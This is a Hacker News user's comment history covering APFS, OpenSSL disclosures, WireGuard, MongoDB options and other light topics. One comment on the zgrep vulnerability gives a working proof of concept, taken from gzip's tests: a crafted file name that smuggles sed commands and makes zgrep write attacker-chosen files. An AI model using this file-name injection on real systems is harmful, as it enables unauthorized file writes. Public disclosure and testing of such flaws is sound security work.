HNHacker News
TopNewBestAskShowJobs

timdoug

685 karma · joined April 29, 2009

https://www.timdoug.com/log/

me@<handle>.com

submissionscomments
timdoug··on Happy birthday APFS, 7 years old today
An absolutely impressive achievement. I echo sentiments seen in other HN threads recently -- "I'd never do in-place FS upgrades!" -- yet Apple pulled it off on billions of devices with zero fanfare. Folk have scores of stores about btrfs/ZFS/etc issues, I don't recall similarly for APFS?
timdoug··on Patch OpenSSL on November 1 to avoid “critical” security vulnerability
You’re right re: implementation —- I’m drawing a conclusion solely from the coordinated disclosure that it’s a similar crypto/TLS issue.

If the Go issues were distinct I’d imagine they’d choose a different day to disclose/release?

timdoug··on Patch OpenSSL on November 1 to avoid “critical” security vulnerability
I adore Go, but it seems to be impacted too: https://groups.google.com/g/golang-announce/c/dRtDK7WS78g
timdoug··on Glibc and Dt_gnu_hash
For a different perspective of the same issue: https://news.ycombinator.com/item?id=32471624

(don't be fooled by the article's title, I regret I was the first time around)

timdoug··on Arbitrary file write vulnerability in GNU gzip's zgrep utility
This one's pretty cool, example below per gzip-1.12/tests/zgrep-abuse:

  timdoug@box:~/gzip$ ls
  timdoug@box:~/gzip$ touch z
  timdoug@box:~/gzip$ echo test | gzip > 'z|
  p
  1s|.*|chosen-content|
  1w hacked
  etouch .\x2fhacked2
  d
  #
  #'
  timdoug@box:~/gzip$ zgrep test z*
  ztest
  timdoug@box:~/gzip$ ls hack*
  hacked  hacked2
  timdoug@box:~/gzip$ cat hacked
  chosen-content
  timdoug@box:~/gzip$
timdoug··on Tell HN: Cisco WebEx on OS X uses the same pre-installer tricks as Zoom
I'll throw in a plug for the tool I've written, unpkg: https://www.timdoug.com/unpkg/
timdoug··on I made my own WireGuard VPN server
Earlier today I wrote some documentation on setting up WireGuard on macOS, it may be useful: https://www.timdoug.com/log/2018/08/04/#wireguard_macos

Happy to answer questions if anything's unclear.

timdoug··on Drowning Doesn’t Look Like Drowning (2010)
"Dry drowning is a term that has never had an accepted medical definition, and that is currently medically discredited."

https://en.wikipedia.org/wiki/Drowning#Dry_drowning

timdoug··on Dropbox’s Exodus from the Amazon Cloud
As the SRE writing the blog post on disk lifecycle, I can confirm it amongst others are in flight. :)
timdoug··on How Much Does It Cost to Make a Hit Song?
Related: "The Manual (How to Have a Number One the Easy Way) is a 1988 book by The Timelords (Bill Drummond and Jimmy Cauty), better known as The KLF. It is a step by step guide to achieving a No.1 single with no money or musical skills, and a case study of the duo's UK novelty pop No. 1 'Doctorin' the Tardis'."

https://en.wikipedia.org/wiki/The_Manual

timdoug··on Why Events Are A Bad Idea For High-Concurrency Servers (2003)
A bit of historical context: this paper came out in 2003, the same year NPTL (in RH9) and Linux 2.6.0 (first stable kernel with epoll, 2.5.44 introduced it in 2002) were released.
timdoug··on Why do Americans write the month before the day?
It's an international standard: https://en.wikipedia.org/wiki/ISO_8601
timdoug··on Hostnames
Party on HN! Sorry I'm late. :)
timdoug··on Websocket-based Tethering for iOS devices
Nope -- I've had that exact app working like a charm across multiple devices and OS updates.
timdoug··on Silicon Valley Funding Map
Peninsula, Palo Alto, North Bay, and East Bay, I'd imagine.
timdoug··on Status Board
It's totally acceptable and very common: https://developer.apple.com/library/ios/#documentation/UIKit...
timdoug··on Netty and the JVM meet OpenSSL to speed up connections
What's the benefit of doing SSL/TLS in the application instead of using a dedicated terminator like stud?
timdoug··on Linux cheat sheet
What's wrong with:

  find . -type f -exec md5sum {} \;
timdoug··on Full MAME emulator for non-jailbroken iOS
http://www.macroplant.com/iexplorer/ or http://i-funbox.com, for example.
timdoug··on Hardening your Web Server's SSL Ciphers
To be fair, that line does work everywhere; the unrecognized ciphers are just ignored. In fact, on my Debian VPS with OpenSSL 0.9.8 it results in the exact same list of ciphers as the Apache one given in the post ("openssl ciphers" on the command line is very useful).

May as well add the newer ones to get the support if you upgrade your SSL library without having to change your Apache/nginx/etc. conf.

timdoug··on Hipmunk Launches Flight Deals
Love it. It would be nice to be able to subscribe to certain specific time frames, e.g., over the weekend; it's much easier to impulsively travel then while holding down a traditional full-time position. Nevertheless, subscribed!
timdoug··on Ask HN: What unwanted domain names are you sitting on?
brocombinator.com -- anybody interested?
timdoug··on Baldur's Gate: Enhanced Edition for the iPad
It looks like it requires iOS 6, so I won't be able to play it on my 1st gen iPad. Sad times!
timdoug··on F1, like soccer and the metric system, is OK for everyone except Americans
That latter video is one of my favorites on YouTube: Senna on Suzuka in an NSX wearing loafers! His skill is truly unmatched, but to be fair, heel-and-toeing is a rather common technique in performance driving. Hell, I do so to match revs on every 3->2 downshift before a corner when driving around town, and I wouldn't call myself a skilled driver.
timdoug··on Inside Google Spanner, the Largest Single Database on Earth
eBay. :)

http://www.ebay.com/sch/i.html?_nkw=FE-5680A

timdoug··on MongoDB Gotchas and How To Avoid Them
I can suggest the sadly deliberately undocumented (viz. src/mongo/db/db.cpp:719) "--nopreallocj" option, as well.
timdoug··on Ask HN: What are the use cases for NFC outside of payments
'"What’d be cooler would be if you just pulled into the parking spot and walked away."'

http://techcrunch.com/2012/07/30/irreducible/

timdoug··on Progress on Progress Bars: Reincarnation?
URL should be: http://blog.jonwagner.com/2012/08/15/progress-on-progress-ba...
timdoug··on How to put Encrypted Contents on Cloud Storages
Well sure, but it's just zeroing free blocks; that's the same operation (with the same desired outcome) whether you're using the disk image in a virtual machine or as an encrypted loopback device.
timdoug··on How to put Encrypted Contents on Cloud Storages
For zeroing unused blocks, I can suggest zerofree: http://packages.debian.org/squeeze/zerofree
Page 1 of 2Next →